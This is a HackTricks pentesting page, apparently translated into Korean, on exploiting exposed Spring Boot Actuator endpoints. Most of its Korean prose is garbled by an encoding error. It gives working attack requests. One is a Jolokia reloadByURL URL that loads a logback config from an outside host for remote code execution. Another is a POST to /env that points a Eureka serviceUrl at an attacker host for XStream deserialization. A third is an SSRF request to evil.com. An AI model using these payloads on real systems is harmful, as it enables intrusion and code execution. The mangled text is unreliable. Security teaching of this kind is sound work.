# Spring Actuators
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** π¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** π¦ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
{% endhint %}
## **Spring Auth Bypass**
**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\*
## Exploiting Spring Boot Actuators
**Check the original post from** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
### **Key Points:**
* Spring Boot Actuatorsλ `/health`, `/trace`, `/beans`, `/env` λ±μ μλν¬μΈνΈλ₯Ό λ±λ‘ν©λλ€. 1μμ 1.4 λ²μ κΉμ§λ μ΄λ¬ν μλν¬μΈνΈμ μΈμ¦ μμ΄ μ κ·Όν μ μμ΅λλ€. 1.5 λ²μ λΆν°λ κΈ°λ³Έμ μΌλ‘ `/health`μ `/info`λ§ λΉλ―Όκ°νμ§λ§, κ°λ°μλ€μ΄ μ’
μ’
μ΄ λ³΄μμ λΉνμ±νν©λλ€.
* νΉμ Actuator μλν¬μΈνΈλ λ―Όκ°ν λ°μ΄ν°λ₯Ό λ
ΈμΆνκ±°λ ν΄λ‘μ΄ μμ
μ νμ©ν μ μμ΅λλ€:
* `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, `/heapdump`.
* Spring Boot 1.xμμλ μ‘μΆμμ΄ν°κ° λ£¨νΈ URL μλμ λ±λ‘λμ§λ§, 2.xμμλ `/actuator/` κΈ°λ³Έ κ²½λ‘ μλμ μμ΅λλ€.
### **Exploitation Techniques:**
1. **'/jolokia'λ₯Ό ν΅ν μ격 μ½λ μ€ν**:
* `/jolokia` μ‘μΆμμ΄ν° μλν¬μΈνΈλ Jolokia λΌμ΄λΈλ¬λ¦¬λ₯Ό λ
ΈμΆνμ¬ MBeansμ λν HTTP μ κ·Όμ νμ©ν©λλ€.
* `reloadByURL` μμ
μ μΈλΆ URLμμ λ‘κΉ
ꡬμ±μ λ€μ λ‘λνλλ‘ μ
μ©λ μ μμΌλ©°, μ΄λ λΈλΌμΈλ XXE λλ μ‘°μλ XML ꡬμ±μ ν΅ν μ격 μ½λ μ€νμΌλ‘ μ΄μ΄μ§ μ μμ΅λλ€.
* μμ μ
μ© URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
2. **'/env'λ₯Ό ν΅ν κ΅¬μ± μμ **:
* Spring Cloud λΌμ΄λΈλ¬λ¦¬κ° μ‘΄μ¬νλ κ²½μ°, `/env` μλν¬μΈνΈλ νκ²½ μμ±μ μμ ν μ μμ΅λλ€.
* μμ±μ μ·¨μ½μ μ μ
μ©νκΈ° μν΄ μ‘°μλ μ μμΌλ©°, μλ₯Ό λ€μ΄ Eureka serviceURLμ XStream μμ§λ ¬ν μ·¨μ½μ μ΄ μμ΅λλ€.
* μμ μ
μ© POST μμ²:
```
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
```
3. **κΈ°ν μ μ©ν μ€μ **:
* `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, `spring.datasource.tomcat.max-active`μ κ°μ μμ±μ SQL μΈμ μ
μ΄λ λ°μ΄ν°λ² μ΄μ€ μ°κ²° λ¬Έμμ΄ λ³κ²½κ³Ό κ°μ λ€μν μ
μ©μ μν΄ μ‘°μλ μ μμ΅λλ€.
### **Additional Information:**
* κΈ°λ³Έ μ‘μΆμμ΄ν°μ ν¬κ΄μ μΈ λͺ©λ‘μ [μ¬κΈ°](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt)μμ νμΈν μ μμ΅λλ€.
* Spring Boot 2.xμ `/env` μλν¬μΈνΈλ μμ± μμ μ μν΄ JSON νμμ μ¬μ©νμ§λ§, μΌλ°μ μΈ κ°λ
μ λμΌν©λλ€.
### **Related Topics:**
1. **Env + H2 RCE**:
* `/env` μλν¬μΈνΈμ H2 λ°μ΄ν°λ² μ΄μ€μ μ‘°ν©μ μ
μ©νλ λ°©λ²μ λν μμΈν λ΄μ©μ [μ¬κΈ°](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)μμ νμΈν μ μμ΅λλ€.
2. **μλͺ»λ κ²½λ‘ μ΄λ¦ ν΄μμ ν΅ν Spring Bootμ SSRF**:
* Spring νλ μμν¬μ 맀νΈλ¦μ€ 맀κ°λ³μ(`;`) μ²λ¦¬ λ°©μμ μλ² μΈ‘ μμ² μμ‘°(SSRF)λ₯Ό μ
μ©ν μ μμ΅λλ€.
* μμ μ
μ© μμ²:
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** π¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** π¦ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
{% endhint %}